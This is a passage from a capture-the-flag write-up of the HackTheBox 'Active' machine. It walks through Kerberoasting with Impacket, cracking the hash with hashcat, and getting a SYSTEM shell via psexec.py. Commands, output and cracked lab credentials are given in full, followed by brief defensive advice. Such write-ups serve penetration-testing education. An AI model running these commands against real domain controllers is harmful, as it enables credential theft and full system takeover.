  1. Command Execution: The command GetUserSPNs.py active.htb/SVC_TGS:GPPstillStandingStrong2k18 -dc-ip 10.10.10.100 -request -output tgs-administrator.hash is executed on a Kali Linux machine. This command queries the SPNs for the user SVC_TGS in the Active Directory domain active.htb using credentials, and outputs the results, including a TGS hash, to a file named tgs-administrator.hash.

  2. Impacket Tool: Impacket is a collection of Python classes designed for working with network protocols, specifically tailored towards security and penetration testing tasks. The version used here is v0.9.18-dev.

  3. Output: The table displays relevant information, including the SPN active/CIFS:445, associated with the Administrator, and some Active Directory attributes such as PasswordLastSet and LastLogon.

  4. Hash Content: The hash is saved in the file tgs-administrator.hash. This hash format is often used in Kerberos ticket-granting service (TGS) attacks to extract service ticket credentials.

In essence, this procedure is typically a part of a penetration testing activity aimed at extracting Kerberos hashes for further exploitation or analysis.

Recovering the Admin Password

We will recover the hash’s original input using Hashcat. This task can also be accomplished with John The Ripper Jumbo version.

Let’s first check the cheatsheet for Hashcat modes and determine that the mode we need is 13100. Now, everything is ready for password recovery.

This snippet shows commands for using Hashcat, a password recovery tool, to crack a hash.

  1. The first command initiates an attack mode 0 (a dictionary attack) on a Kerberos TGS-REP hash (mode 13100) using the hash file tgs-administrator.hash and a wordlist from rockyou.txt. The --force option is used to bypass any warnings.
root@kali:~# hashcat -a 0 -m 13100 tgs-administrator.hash /usr/share/wordlists/rockyou.txt --force
  1. The second command checks and displays the cracked hashes from the given file.
root@kali:~# hashcat -m 13100 tgs-administrator.hash --show

The result shows that the password for the Kerberos ticket (for Administrator on ACTIVE.HTB server on CIFS service port 445) is Ticketmaster1968.

Success. Credentials for privileged access are Administrator:Ticketmaster1968.

PrivEsc: SVC_TGS → Administrator

We can obtain the final flag, root.txt, from the administrator’s home directory using smbmap just as demonstrated earlier. Alternatively, we can initiate a superuser session with the psexec.py script.

root@kali:~# psexec.py active.htb/Administrator:Ticketmaster1968@10.10.10.100
Impacket v0.9.18-dev - Copyright 2002-2018 Core Security Technologies

[*] Requesting shares on 10.10.10.100.....
[*] Found writable share ADMIN$
[*] Uploading file hPUtqrwN.exe
[*] Opening SVCManager on 10.10.10.100.....
[*] Creating service QclS on 10.10.10.100.....
[*] Starting service QclS.....
[!] Press help for extra shell commands
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
nt authority\system

root.txt

C:\Windows\system32>type C:\Users\Administrator\Desktop\root.txt
b5fc76d1????????????????????????

That’s it, the system is now completely under our control.

C:\Windows\system32>exit
[*] Process cmd.exe finished with ErrorCode: 0, ReturnCode: 0
[*] Opening SVCManager on 10.10.10.100.....
[*] Stopping service QclS.....
[*] Removing service QclS.....
[*] Removing file hPUtqrwN.exe.....

Trophy
Trophy

Protection Measures

How can you prevent this from happening to your actual domain controller? Unfortunately, the attack vector used in Kerberoasting exploits a vulnerability in the Kerberos protocol’s architecture itself. Therefore, the best defense against such attacks is to use strong passwords for service accounts associated with Kerberos and SPN. Additionally, it’s advisable to configure all services without using accounts with elevated privileges.

Related posts:
2022.02.15 — EVE-NG: Building a cyberpolygon for hacking experiments

Virtualization tools are required in many situations: testing of security utilities, personnel training in attack scenarios or network infrastructure protection, etc. Some admins reinvent the wheel by…

Full article →
2022.06.02 — Climb the heap! Exploiting heap allocation problems

Some vulnerabilities originate from errors in the management of memory allocated on a heap. Exploitation of such weak spots is more complicated compared to 'regular' stack overflow; so,…

Full article →
2022.01.13 — Bug in Laravel. Disassembling an exploit that allows RCE in a popular PHP framework

Bad news: the Ignition library shipped with the Laravel PHP web framework contains a vulnerability. The bug enables unauthorized users to execute arbitrary code. This article examines…

Full article →
2023.07.20 — Evil modem. Establishing a foothold in the attacked system with a USB modem

If you have direct access to the target PC, you can create a permanent and continuous communication channel with it. All you need for this…

Full article →
2023.04.19 — Kung fu enumeration. Data collection in attacked systems

In penetration testing, there's a world of difference between reconnaissance (recon) and data collection (enum). Recon involves passive actions; while enum, active ones. During recon,…

Full article →
2023.02.21 — SIGMAlarity jump. How to use Sigma rules in Timesketch

Information security specialists use multiple tools to detect and track system events. In 2016, a new utility called Sigma appeared in their arsenal. Its numerous functions will…

Full article →
2023.07.07 — Evil Ethernet. BadUSB-ETH attack in detail

If you have a chance to plug a specially crafted device to a USB port of the target computer, you can completely intercept its traffic, collect cookies…

Full article →
2023.06.08 — Croc-in-the-middle. Using crocodile clips do dump traffic from twisted pair cable

Some people say that eavesdropping is bad. But for many security specialists, traffic sniffing is a profession, not a hobby. For some reason, it's believed…

Full article →
2022.02.09 — Kernel exploitation for newbies: from compilation to privilege escalation

Theory is nothing without practice. Today, I will explain the nature of Linux kernel vulnerabilities and will shown how to exploit them. Get ready for an exciting journey:…

Full article →
2023.07.07 — VERY bad flash drive. BadUSB attack in detail

BadUSB attacks are efficient and deadly. This article explains how to deliver such an attack, describes in detail the preparation of a malicious flash drive required for it,…

Full article →